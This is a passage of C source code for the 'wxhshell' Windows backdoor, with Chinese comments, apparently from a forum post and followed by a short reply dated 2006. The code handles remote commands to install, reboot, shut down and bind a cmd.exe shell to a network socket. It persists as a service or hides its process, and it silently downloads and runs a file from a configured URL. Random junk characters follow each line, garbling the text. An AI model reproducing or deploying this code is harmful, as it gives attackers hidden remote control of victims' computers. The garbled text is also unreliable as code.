  // 帮助 udX!R^8jE  
  case '?': { NS^+n4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'X1/tB8*  
    break; qyY]: (8  
  } Q|W~6  
  // 安装 RjG=RfB'V  
  case 'i': { /8s>JPXKH[  
    if(Install()) KA]5tVQA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :stA]JB# w  
    else ]iH~ 1[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x@,B))WlGr  
    break; .OvH<%g!.  
    } NAEAvXj  
  // 卸载 `&o>7a;  
  case 'r': { h Ap(1h#m  
    if(Uninstall()) )gKX +'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A!ak i}aT~  
    else Vg8c}>7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4mwAo  
    break; &v&e- |r8;  
    } "I^pb.3  
  // 显示 wxhshell 所在路径 "I&,':O+  
  case 'p': { PQ4)kVT  
    char svExeFile[MAX_PATH]; n~v*  
    strcpy(svExeFile,"\n\r"); Q`(h  
      strcat(svExeFile,ExeFile); jR mo9Bb2  
        send(wsh,svExeFile,strlen(svExeFile),0); \Qe`>nA  
    break; l=ZX9<3  
    } JReJlDu  
  // 重启 } !RBH(m%  
  case 'b': { 8H2A<&3i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s7na!A[  
    if(Boot(REBOOT)) oD7^9=#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _[u fH*  
    else { >$N ?\\#  
    closesocket(wsh); 2vX!j!_  
    ExitThread(0); &s_)|K  
    } eR:!1z_h  
    break; "|K D$CY  
    } DzG$\%G2R}  
  // 关机 \kVi&X=q:  
  case 'd': { R\n*O@E v3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > R2o7~  
    if(Boot(SHUTDOWN)) gjex;h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1A;f[Rze  
    else { cR/z;*wr7  
    closesocket(wsh); OE_A$8L  
    ExitThread(0); ];au! _o  
    } ?<eH!MHF  
    break; * odwg$  
    } kU[#. y=%p  
  // 获取shell ? EXYLG  
  case 's': { fs%l j_t  
    CmdShell(wsh); )w&k&TY4H  
    closesocket(wsh); R{SN.%{;  
    ExitThread(0); K._* ~-A  
    break; gqQ"'SRw  
  } QAKA3{-(  
  // 退出 Xmaj7*f>p  
  case 'x': { n~G-X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -4nSiI  
    CloseIt(wsh); <& p0:S7  
    break; _q1E4z  
    } "o>gX'm*  
  // 离开 56^#x  
  case 'q': { !Di*y$`}b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s!F` 0=J^  
    closesocket(wsh); 2]f?c%)I  
    WSACleanup(); 3eJ"7sftW  
    exit(1); kESnlmy@J  
    break; cr<ty"3\  
        } /;a b"b  
  } /U =eB?>  
  } C9%2}E3Z$)  
P`!31P#]L  
  // 提示信息 kC4}@{4i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m #}%l3$  
} (SGU]@)g  
  } rk .tLk  
Z^SF $+UN  
  return; !_#2$J*s^D  
}  /DN!"  
2C_/T8  
// shell模块句柄 *Z C$DW!-  
int CmdShell(SOCKET sock) Hlye:.$  
{ KJ;NcUq  
STARTUPINFO si; !Au9C   
ZeroMemory(&si,sizeof(si)); "Zq)y_1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S67>yqha  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3pk `&'  
PROCESS_INFORMATION ProcessInfo; /5 6sPl 7}  
char cmdline[]="cmd"; >pq= .)X}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $@ Fvl-lK  
  return 0; }E]&,[4&M  
} j9]H~:g$d  
O[/l';i  
// 自身启动模式 BARs1^pR4  
int StartFromService(void) leomm+f^  
{ ~k[q:$T  
typedef struct =[T_`*s&  
{ NM:\T1  
  DWORD ExitStatus; l&4+v.zr  
  DWORD PebBaseAddress; -P'KpX:]hd  
  DWORD AffinityMask; i#W0  
  DWORD BasePriority; 'k(aZ"  
  ULONG UniqueProcessId; XDcA&cM}p  
  ULONG InheritedFromUniqueProcessId; EAi!"NJ  
}   PROCESS_BASIC_INFORMATION; tWN hFQ'  
$wx)/t<  
PROCNTQSIP NtQueryInformationProcess; /WWD;keP5  
:Mq-4U.e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q=(.N>%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5<?s86GHh'  
|'" 17c&  
  HANDLE             hProcess; #Kd^t =k  
  PROCESS_BASIC_INFORMATION pbi; fKN&0N |^R  
:^oF0,-qZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KoL3CA"N  
  if(NULL == hInst ) return 0; gV-x1s+  
x]%'^7#v)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KaGG4?=V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \6z_ ;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [[sfuJD  
Rx>>0%e.  
  if (!NtQueryInformationProcess) return 0; 6 (@U+`  
6~_ TXy/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FG[YH5  
  if(!hProcess) return 0; bQFMg41*w7  
mz kv/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rp^G k  
<>tQa5;  
  CloseHandle(hProcess); \uT y\KA  
4Cl41a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O)E8'Oe"Q  
if(hProcess==NULL) return 0;  [ijK ~  
/degBL+  
HMODULE hMod; UZ` <D/  
char procName[255]; v Ol<  
unsigned long cbNeeded; ~p0M|  
bm:"&U*tu'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jx7b$x]  
[^4)3cj7}  
  CloseHandle(hProcess); 9X-w5$<  
sWc_,[b  
if(strstr(procName,"services")) return 1; // 以服务启动 s v}o%  
eAPNF?0yh  
  return 0; // 注册表启动 CCQ38P@rv  
} a\BV%'Zqg  
fI([vI  
// 主模块 2l#c?]TA  
int StartWxhshell(LPSTR lpCmdLine) YAoGVey  
{ VX<jg#(  
  SOCKET wsl; -4 !9cE  
BOOL val=TRUE; l#;DO9  
  int port=0; 2iJ)K rw  
  struct sockaddr_in door; `$5 QTte  
Arzyq_ Yk  
  if(wscfg.ws_autoins) Install(); v==b. 2=  
)* \N[zm  
port=atoi(lpCmdLine); d}2$J1`  
wG\ +C'&~  
if(port<=0) port=wscfg.ws_port; Wu!s  
" A}S92  
  WSADATA data; X5hamkM*m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f*IC ZM  
)*wM DM5q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -J<{NF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &eqeQD6  
  door.sin_family = AF_INET; #S*`7MvM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $k|:V&6SV  
  door.sin_port = htons(port); knsTy0]  
/#C}1emK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :47bf<w|Y  
closesocket(wsl); >-0\wP  
return 1; oY K(=j  
} |v6kZ0B<  
%]m/fo4b  
  if(listen(wsl,2) == INVALID_SOCKET) { ,@#))2<RK  
closesocket(wsl); q|}%6ztv-  
return 1; eq!>~: #  
} R iPxz=kr  
  Wxhshell(wsl); 7%Q?BH7{  
  WSACleanup(); 1j!LK-  
t6+c"=P#  
return 0; Mkj`  
s)L\D$;+O  
} @  gv^  
5x=aJl;G  
// 以NT服务方式启动 R. (fo:ve>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !'jZ !NFO  
{ {#_CzI.0f  
DWORD   status = 0; `Q@w*ta)  
  DWORD   specificError = 0xfffffff; 3!H&bOF  
]+ KN9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <Pm!#)-g9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <?&Y_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sYG:\>}ie  
  serviceStatus.dwWin32ExitCode     = 0; NR6wNz&81  
  serviceStatus.dwServiceSpecificExitCode = 0; w!j'k|b>  
  serviceStatus.dwCheckPoint       = 0; J2BCaAwEP,  
  serviceStatus.dwWaitHint       = 0; T@4R|P&{)  
v><c@a=[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~\oF}7l$  
  if (hServiceStatusHandle==0) return; bih%hqny  
^vHh*Ub  
status = GetLastError(); "PD^]m  
  if (status!=NO_ERROR) C$+z1z.!  
{ IW{}l=D/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d$H   
    serviceStatus.dwCheckPoint       = 0; hb.^ &  
    serviceStatus.dwWaitHint       = 0; IrMUw$  
    serviceStatus.dwWin32ExitCode     = status; 44x+2@&1  
    serviceStatus.dwServiceSpecificExitCode = specificError; sy]hMGH:3W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E-`3}"{  
    return; p=jpk@RX  
  } #lY_XV.  
VRs|";  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x<'<E@jpU;  
  serviceStatus.dwCheckPoint       = 0; 1 O?bT,"b  
  serviceStatus.dwWaitHint       = 0; QhJuH_f 0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B4Fuvi  
} J85S'cwZZ  
0Xw$l3@N^  
// 处理NT服务事件,比如:启动、停止 T2ZB(B D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TFAd  
{  3cA '9  
switch(fdwControl) * @=ZzL  
{ x##0s5Qn  
case SERVICE_CONTROL_STOP: Uk'bOp  
  serviceStatus.dwWin32ExitCode = 0; 1s_N!a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P U2^4h/[`  
  serviceStatus.dwCheckPoint   = 0; 0#S#v2r5  
  serviceStatus.dwWaitHint     = 0; _m.w5nJ  
  { x>bGxDtu*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {6tj$&\)  
  } WbWEgd%8.  
  return; "OO)m](w  
case SERVICE_CONTROL_PAUSE: jAcrXB*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PrKH{nyJk  
  break; U!\~LKfA  
case SERVICE_CONTROL_CONTINUE: xep8CimP'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W;T 5[  
  break; Ntt*}|:QV<  
case SERVICE_CONTROL_INTERROGATE: OfK>-8  
  break; idNra#  
}; Rz#q68  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k.ttrKy<q/  
} Q@ Ze+IhK`  
X5tx(}j  
// 标准应用程序主函数 srQGqE~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YvG=P<_xw  
{ TYKs2+S6  
9Wv}g"KY0  
// 获取操作系统版本 (2Z k fN  
OsIsNt=GetOsVer(); [Qqomm.[\w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6E-AfY'<  
]SmN}Iq1  
  // 从命令行安装 Miz?t*|{[  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;O7Vl5R  
i*((@:  
  // 下载执行文件 #M)+sK$H%f  
if(wscfg.ws_downexe) { ]5r@`%9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !T#EkMM  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1{A K=H')  
} jx{wOb~oO)  
z*UgRLKZD  
if(!OsIsNt) { )*XD"-9  
// 如果时win9x,隐藏进程并且设置为注册表启动 #,9s\T  
HideProc(); \c}pzBFd  
StartWxhshell(lpCmdLine); aH?+^f"D  
} >r3SF3XMq  
else  b]gVZ-  
  if(StartFromService()) RcC5_@W  
  // 以服务方式启动 \^1S:z  
  StartServiceCtrlDispatcher(DispatchTable); ox*>HkV  
else ALQ-aXJ  
  // 普通方式启动 w>o/)TTJL  
  StartWxhshell(lpCmdLine); E)`:sSd9  
}P'c8$  
return 0; v!W{j&N  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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